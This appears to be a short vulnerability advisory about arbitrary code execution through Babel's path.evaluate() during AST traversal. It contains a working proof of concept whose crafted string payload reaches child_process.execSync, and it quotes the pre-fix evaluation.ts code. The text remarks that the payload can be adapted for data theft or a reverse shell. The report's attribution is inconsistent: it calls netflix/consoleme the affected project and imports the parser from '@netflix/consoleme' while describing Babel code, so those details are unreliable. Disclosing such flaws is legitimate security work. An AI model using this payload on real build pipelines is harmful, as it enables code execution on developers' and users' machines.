Fix arbitrary code execution when compiling specifically crafted malicious code

[hackersontwohouse]

Affected by this project netflix/consoleme is vulnerable to Incomplete List of Unallowed Inputs when using plugins that rely on internal Babel path.evaluate() or path.evaluateTruthy() methods.

Proof of Concept

const parser = require("@netflix/consoleme");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);

Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here

/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}

CWE-184 CWE-697